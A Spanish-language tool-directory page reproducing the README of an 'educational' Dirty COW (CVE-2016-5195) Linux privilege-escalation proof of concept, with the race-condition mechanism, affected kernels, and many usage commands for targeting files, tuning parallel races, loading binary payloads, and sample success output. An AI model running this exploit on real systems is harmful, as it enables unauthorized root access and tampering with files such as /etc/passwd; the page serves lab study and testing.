Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
dirtycow-lab — PoC educativo para Dirty COW (CVE-2016-5195) con registro, respaldo de ptrace y soporte de carga binaria. | Kitploit
Herramientas/GitHubGitHub/mohammadamin382/dirtycow-lab
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónRed TeamingExplotación de BinariosLabs y Práctica
GitHubmohammadamin382/dirtycow-lab

dirtycow-lab

PoC educativo para Dirty COW (CVE-2016-5195) con registro, respaldo de ptrace y soporte de carga binaria.

Ver Repositorio
112hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Dirty COW PoC Educativo (CVE-2016-5195)

⚠️ Advertencia Legal

Este código es SOLO CON FINES EDUCATIVOS. Cualquier uso malicioso está estrictamente prohibido y es ilegal.

📖 ¿Qué es Dirty COW?

Dirty COW (CVE-2016-5195) es una vulnerabilidad de escalada de privilegios en el kernel de Linux que explota una condición de carrera en el mecanismo de copia en escritura (COW) del kernel. Esta vulnerabilidad afecta a los kernels de Linux desde la versión 2.6.22 (lanzada en 2007) hasta versiones anteriores a:

  • 4.8.3
  • 4.7.9
  • 4.4.26

Detalles Técnicos

La vulnerabilidad ocurre en el sistema de gestión de memoria del kernel:

  1. Copia en Escritura (COW): Cuando un proceso mapea un archivo con MAP_PRIVATE, las modificaciones deberían crear una copia privada.
  2. Condición de Carrera: Dos hilos compitiendo entre madvise(MADV_DONTNEED) y la escritura en /proc/self/mem.
  3. Explotación: Bajo condiciones de sincronización específicas, las escrituras pueden evitar la protección COW y modificar el archivo original.

Impacto

  • Escalada de Privilegios: Modificar archivos de solo lectura propiedad de root.
  • Compromiso del Sistema: Potencial para obtener acceso root modificando archivos del sistema como /etc/passwd.
  • Integridad de Datos: Modificación no autorizada de archivos críticos del sistema.

🛡️ Notas de Seguridad para Pruebas

⚠️ CRÍTICO: Pruebe Solo en un Entorno Aislado

NUNCA ejecute esto en sistemas de producción o sistemas que no le pertenezcan.

Entorno de Prueba Recomendado:

  1. Máquina Virtual (VM): Use VMware, VirtualBox o KVM
  2. Contenedor: Contenedor Docker con kernel vulnerable
  3. Laboratorio Aislado: Máquina de prueba dedicada sin datos importantes
  4. Requisitos del Kernel: Versiones del kernel Linux 2.6.22 a 4.8.2

Prácticas Seguras de Prueba:

# 1. Check kernel version first
uname -r

# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Test with harmless files only
./main -t /tmp/test_file -v

# 4. Monitor system resources
top -p $(pgrep -f main)

🚀 Compilación y Uso

Requisitos Previos

# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel

Compilación

# Standard compilation
make

# Debug version
make main-debug

# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto

Uso Básico

# Simple test with default settings
./main

# Verbose mode with custom target
./main -t /tmp/testfile -v

# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v

# Binary payload from file
./main -f payload.bin -P -D -n 2

Opciones de Línea de Comandos

OpciónDescripciónPor DefectoMáximo
-t <file>Ruta del archivo objetivo/tmp/dirty_cow_test-
-p <payload>Carga útil de texto personalizadaTest string-
-f <file>Cargar carga útil binaria desde archivo--
-i <num>Número de iteraciones10,000,000100,000,000
-n <num>Número de procesos paralelos18
-r <num>Intentos de reintento110
-PUsar ptrace en lugar de /proc/self/memDeshabilitado-
-DHabilitar escaneo de desplazamiento dinámicoDeshabilitado-
-vSalida detalladaDeshabilitado-
-l <file>Ruta del archivo de registroexploit_log.txt-
-hMostrar ayuda--

🔬 Características Avanzadas

1. Múltiples Métodos de Ataque

  • Método 1: Escritura en /proc/self/mem (por defecto)
  • Método 2: ptrace(PTRACE_POKETEXT) para sistemas restringidos

2. Escaneo de Desplazamiento Dinámico

Escanea múltiples desplazamientos de memoria para encontrar la mejor posición de escritura:

./main -D -v  # Enable dynamic offset scanning

3. Condiciones de Carrera Multiproceso

Lanzar múltiples procesos para condiciones de carrera intensas:

./main -n 4  # Use 4 parallel processes

4. Soporte de Carga Útil Binaria

Cargar datos binarios arbitrarios desde archivos:

# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Use binary payload
./main -f payload.bin -v

5. Lógica de Reintento Automático

Reintentar intentos fallidos automáticamente:

./main -r 5  # Retry up to 5 times

6. Verificación de Integridad de Archivos

Utiliza hash SHA-256 para verificar las modificaciones de archivos:

# Check original vs modified file hashes
./main -v  # Shows hash comparison in verbose mode

📊 Salida y Registro

Ejemplo de Salida en Consola

Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000

=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== STARTING TEST ===

=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final:    f6e5d4c3b2a1...

=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec

Formato del Archivo de Registro

La herramienta crea registros detallados en exploit_log.txt:

[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec

🎯 Escenarios de Prueba

Escenario 1: Prueba de Funcionalidad Básica

# Test basic exploit functionality
./main -t /tmp/basic_test -v

Escenario 2: Prueba de Estrés

# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v

Escenario 3: Entorno Restringido

# Test when /proc/self/mem is blocked
./main -P -D -v

Escenario 4: Prueba de Carga Útil Binaria

# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 Entendiendo el Exploit

Sincronización de la Condición de Carrera

El exploit funciona creando una carrera entre dos operaciones:

  1. Hilo 1: madvise(MADV_DONTNEED) - Le dice al kernel que descarte páginas de memoria.
  2. Hilo 2: Escritura en /proc/self/mem - Intenta escribir en la memoria mapeada.

Factores de Éxito

  • Versión del Kernel: Debe ser vulnerable (< 4.8.3)
  • Sincronización: La condición de carrera debe ocurrir en el momento preciso
  • Mapeo de Memoria: El archivo debe estar mapeado con MAP_PRIVATE
  • Permisos: Debe tener acceso de lectura al archivo objetivo

Por Qué Funciona

Cuando la condición de carrera tiene éxito:

  1. El Hilo 1 descarta la página COW.
  2. Las escrituras del Hilo 2 ocurren antes de que se cree una nueva página COW.
  3. La escritura va directamente al archivo original en lugar de a la copia privada.

🛠️ Solución de Problemas

Problemas Comunes

1. "Exploit falló o iteraciones insuficientes"

  • Solución: Aumente las iteraciones con -i o use múltiples procesos -n

2. "Acceso a /proc/self/mem falló"

  • Solución: Use el método ptrace con la bandera -P
Descargar herramienta